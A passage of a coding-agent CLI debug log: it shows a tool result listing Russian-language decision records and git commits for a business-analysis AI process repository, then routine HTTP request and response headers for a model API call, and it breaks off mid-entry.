\u0416\u0430\u043a\u043a\u0430\u0440 0.077), \u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e \u0440\u0435\u0436\u0438\u043c\u0443 \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f. \u0418\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u0430\u0440\u0430 \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f + \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u00bb; \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043d\u0435 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f \u0438 \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u2014 \u043e\u043d\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438. | \u26a0\ufe0f \u041f\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 | `projects/ba-ai-process/ba-meta-model/20-taxonomy.md` |\\n108:| `/docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md` | \u0440\u0435\u0448\u0435\u043d\u0438\u0435 | \u0441\u043f\u0440\u0430\u0432\u043a\u0430 | ADR \u0434\u043b\u044f issue #571: \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0411\u0410 \u043f\u0435\u0440\u0435\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0431\u0430\u0437\u0438\u0441\u0430, \u0430 \u043d\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0441\u044f \u0442\u043e\u0447\u0435\u0447\u043d\u043e. \u041f\u0440\u0430\u0432\u0438\u043b\u0430 `TX-1`\u2026`TX-7`: `L0`/`L1` \u043d\u0430\u0441\u043b\u0435\u0434\u0443\u044e\u0442\u0441\u044f \u0438\u0437 BABOK v3 \u0431\u0435\u0437 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f, `L2`/`L3` \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0434\u0435\u043b\u044c\u0442\u043e\u0439 \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0441 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u044f, \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u2014 \u0441\u043c\u0435\u043d\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430, \u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043a\u043b\u0430\u0441\u0441 \u0432\u044b\u0445\u043e\u0434\u0430 (\u0441\u043a\u043b\u0435\u0439\u043a\u0430 \u00ab\u0424\u0422/\u0422\u0417\u00bb \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u0430), \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0430 \u0438 \u0431\u0435\u0437 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u0432\u0441\u0451 \u0432\u0435\u0442\u0432\u044f\u0449\u0435\u0435\u0441\u044f \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441. \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0435: \u0432\u043e\u0441\u0435\u043c\u044c \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 `D1`\u2026`D8` \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0430\u0445 `8cbf82a` \u0438 `15aa76f`. \u041f\u0440\u0435\u0436\u043d\u0438\u0435 \u0434\u0435\u0432\u044f\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0434\u0435\u043f\u0440\u0435\u043a\u0438\u0440\u0443\u044e\u0442\u0441\u044f, \u043d\u043e \u043d\u0435 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f. | \u26a0\ufe0f \u041f\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 | `projects/ba-ai-process/ba-meta-model/process-taxonomy/`, `projects/ba-ai-process/ba-meta-model/operation-taxonomy/`, `research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md` |\\n109:| `/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md` | \u0440\u0435\u0448\u0435\u043d\u0438\u0435 | \u0441\u043f\u0440\u0430\u0432\u043a\u0430 | ADR \u043f\u043e [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043a PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572): \u043d\u0430\u0432\u044b\u043a \u2014 **\u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438** \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0432 \u0441\u0440\u0435\u0434\u0443, \u0430 \u043d\u0435 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438. \u041f\u0440\u0430\u0432\u0438\u043b\u0430 `SF-1`\u2026`SF-7`: \u043d\u0430\u0432\u044b\u043a \u0443\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0443\u0437\u0435\u043b \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043b\u0438\u0431\u043e \u043e\u0434\u043d\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e; \u043d\u0438\u0436\u043d\u044f\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0444\u043e\u0440\u043c\u044b \u2014 `AGENTS.md` (`GC-26`), \u0432\u0435\u0440\u0445\u043d\u044f\u044f \u2014 \u0430\u0433\u0435\u043d\u0442 \u0441 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 (`GC-28`); \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f `interaction` (`dialog` \\\\| `single-pass`) **\u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f** \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443, \u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442\u0441\u044f; \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0438\u043c\u0451\u043d \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u043a\u0430\u043a \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 (ADR-013) \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u0438\u043b\u0435. \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0435: \u0442\u043e\u0447\u043a\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0434\u0435\u043b\u0438\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u0440\u043f\u0443\u0441 \u0431\u0435\u0437 \u043f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f (`stepwise` 10/10, `oneshot` 0/9), \u0430 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u00ab`oneshot` \u21d2 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c\u00bb \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e (9/9 `oneshot` \u0438\u043c\u0435\u044e\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c). \u0423\u0442\u043e\u0447\u043d\u044f\u0435\u0442 ADR-015 (\u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 `SB-1`), \u0434\u043e\u043f\u043e\u043b\u043d\u044f\u0435\u0442 ADR-013. | \u26a0\ufe0f \u041f\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 | `research/ba-requirements/2026-09-10-skill-granularity-format-facts.md`, `projects/ba-ai-process/ba-meta-model/process-taxonomy/10-theory.md` |\\n111:| `/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md` | \u0440\u0435\u0448\u0435\u043d\u0438\u0435 | \u0441\u043f\u0440\u0430\u0432\u043a\u0430 | Accepted ADR \u0434\u043b\u044f issues [#595](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/595) \u0438 [#599](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/599): \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 `Source \u2192 Distribution \u2192 Runtime \u2192 Feedback`, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 [`projects/ba-ai-process/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process) \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c\u044e \u0438 rationale, \u0447\u0438\u0441\u0442\u044b\u0435 `execution-package-` \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u043e allowlist \u0441 provenance, \u0430 runtime [`G-Ivan-A/mango-ba-ai-runtime-cli`](https://github.com/G-Ivan-A/mango-ba-ai-runtime-cli) \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u0435\u043d \u043e\u0442 Source. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u043e \u0432 project-scoped `decisions/`; \u043f\u0435\u0440\u0432\u0430\u044f \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442 `dist/`, `tests/` \u0438 `experiments/`. \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u0430, \u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 `ba-meta-model` \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 `scope: mango-only` \u0434\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0438\u043b\u0438 \u0434\u043e\u043c\u0435\u043d\u0435. | \u26a0\ufe0f \u041f\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 | [\u0442\u0435\u043a\u0443\u0449\u0438\u0439 Source](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process), [Research Mango](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/mango), [AI Education](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ai-education), [\u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 backlog](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md), [ADR Structure Standard](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/adr-structure-standard.md) |\\necb1d94 Merge pull request #641 from G-Ivan-A/issue-638-dea7773c503b\\neda9cac ops(backlog): renumber GigaCode guide items to B-219..B-222 in sprint 27 after merging main (#638)\\n CHANGELOG.md | 2 +-\\n 1 file changed, 1 insertion(+), 1 deletion(-)\\n1317162 ci: execute GigaCode BA guides on Windows PowerShell 5.1 and 7 (#638)\\n CHANGELOG.md | 2 +-\\n 1 file changed, 1 insertion(+), 1 deletion(-)\\n54a17a3 docs(changelog): note GigaCode guide cluster (#638)\\n CHANGELOG.md | 1 +\\n 1 file changed, 1 insertion(+)\\n397afed docs(education): explain Cline MCP and validation boundaries\\n ops/artifact-map.md | 5 +++--\\n 1 file changed, 3 insertions(+), 2 deletions(-)\",\n[2026-09-29T07:59:55.471Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:59:55.471Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:59:55.471Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:59:55.471Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:59:55.471Z] [INFO]   }\n[2026-09-29T07:59:55.471Z] [INFO] }\n[2026-09-29T07:59:55.538Z] [STDOUT] [log_aab387] sending request {\n[2026-09-29T07:59:55.544Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:59:55.551Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:55.560Z] [STDOUT]   options: {\n[2026-09-29T07:59:55.563Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:59:55.567Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:59:55.573Z] [STDOUT]     body: {\n[2026-09-29T07:59:55.578Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:59:55.583Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:59:55.601Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:59:55.605Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:59:55.609Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:59:55.613Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:59:55.617Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:59:55.622Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:59:55.629Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:59:55.634Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:59:55.638Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:59:55.645Z] [STDOUT]       stream: true,\n[2026-09-29T07:59:55.658Z] [STDOUT]     },\n[2026-09-29T07:59:55.664Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:59:55.667Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:59:55.678Z] [STDOUT]       aborted: false,\n[2026-09-29T07:59:55.690Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:59:55.702Z] [STDOUT]       onabort: null,\n[2026-09-29T07:59:55.710Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:59:55.712Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:59:55.719Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:59:55.722Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:59:55.725Z] [STDOUT]     },\n[2026-09-29T07:59:55.732Z] [STDOUT]     stream: true,\n[2026-09-29T07:59:55.735Z] [STDOUT]   },\n[2026-09-29T07:59:55.745Z] [STDOUT]   headers: {\n[2026-09-29T07:59:55.752Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:59:55.756Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:59:55.763Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:59:55.770Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:59:55.777Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:59:55.784Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:59:55.790Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:59:55.796Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:59:55.800Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:59:55.806Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Edit=144;Bash=2089\",\n[2026-09-29T07:59:55.813Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:59:55.820Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:59:55.826Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:55.830Z] [STDOUT]     \"x-client-request-id\": \"efe4cb07-e887-459e-a866-f923373fdbf1\",\n[2026-09-29T07:59:55.842Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:59:55.848Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:59:55.855Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:59:55.860Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:59:55.869Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:59:55.880Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:59:55.889Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:59:55.895Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:59:55.902Z] [STDOUT]   },\n[2026-09-29T07:59:55.907Z] [STDOUT] }\n[2026-09-29T07:59:56.363Z] [STDOUT] [log_aab387, request-id: \"req_011CfXNrwor3NjCbisWoeN8D\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 824ms\n[2026-09-29T07:59:56.369Z] [STDOUT] [log_aab387] response start {\n[2026-09-29T07:59:56.381Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:56.383Z] [STDOUT]   status: 200,\n[2026-09-29T07:59:56.385Z] [STDOUT]   headers: {\n[2026-09-29T07:59:56.387Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:59:56.390Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:59:56.395Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:59:56.397Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T07:59:56.403Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:59:56.410Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:59:56.417Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:59:56.425Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T07:59:56.430Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:59:56.434Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:59:56.441Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:59:56.445Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:59:56.448Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:59:56.452Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:59:56.455Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:59:56.459Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:59:56.462Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:59:56.467Z] [STDOUT]     \"cf-ray\": \"a42973843cc35d90-FRA\",\n[2026-09-29T07:59:56.470Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:59:56.472Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:59:56.475Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:59:56.477Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:59:56.480Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:59:56 GMT\",\n[2026-09-29T07:59:56.483Z] [STDOUT]     \"request-id\": \"req_011CfXNrwor3NjCbisWoeN8D\",\n[2026-09-29T07:59:56.486Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:59:56.489Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:59:56.492Z] [STDOUT]     traceresponse: \"00-02e3fc1062d80196fea95a95fe18ff62-a151941865364282-01\",\n[2026-09-29T07:59:56.495Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:59:56.498Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:59:56.501Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:59:56.504Z] [STDOUT]   },\n[2026-09-29T07:59:56.509Z] [STDOUT]   durationMs: 824,\n[2026-09-29T07:59:56.512Z] [STDOUT] }\n[2026-09-29T07:59:56.515Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:59:56.519Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:59:56 GMT\",\n[2026-09-29T07:59:56.523Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:59:56.525Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:59:56.529Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:59:56.532Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:59:56.536Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:59:56.540Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:59:56.542Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:59:56.546Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:59:56.551Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:59:56.555Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:59:56.559Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:59:56.561Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:59:56.564Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T07:59:56.568Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:59:56.572Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:59:56.576Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:59:56.579Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:59:56.583Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:59:56.588Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:59:56.593Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T07:59:56.602Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:59:56.605Z] [STDOUT]   \"request-id\": \"req_011CfXNrwor3NjCbisWoeN8D\",\n[2026-09-29T07:59:56.608Z] [STDOUT]   \"traceresponse\": \"00-02e3fc1062d80196fea95a95fe18ff62-a151941865364282-01\",\n[2026-09-29T07:59:56.611Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:59:56.615Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:59:56.619Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:59:56.624Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:59:56.628Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:59:56.631Z] [STDOUT]   \"cf-ray\": \"a42973843cc35d90-FRA\",\n[2026-09-29T07:59:56.634Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:59:56.636Z] [STDOUT] [log_aab387] response parsed {\n[2026-09-29T07:59:56.639Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:56.642Z] [STDOUT]   status: 200,\n[2026-09-29T07:59:56.645Z] [STDOUT]   body: X {\n[2026-09-29T07:59:56.647Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:59:56.650Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:59:56.652Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:59:56.655Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:59:56.665Z] [STDOUT]     },\n[2026-09-29T07:59:56.668Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:59:56.673Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:59:56.674Z] [STDOUT]     toReadableStream: [Function: 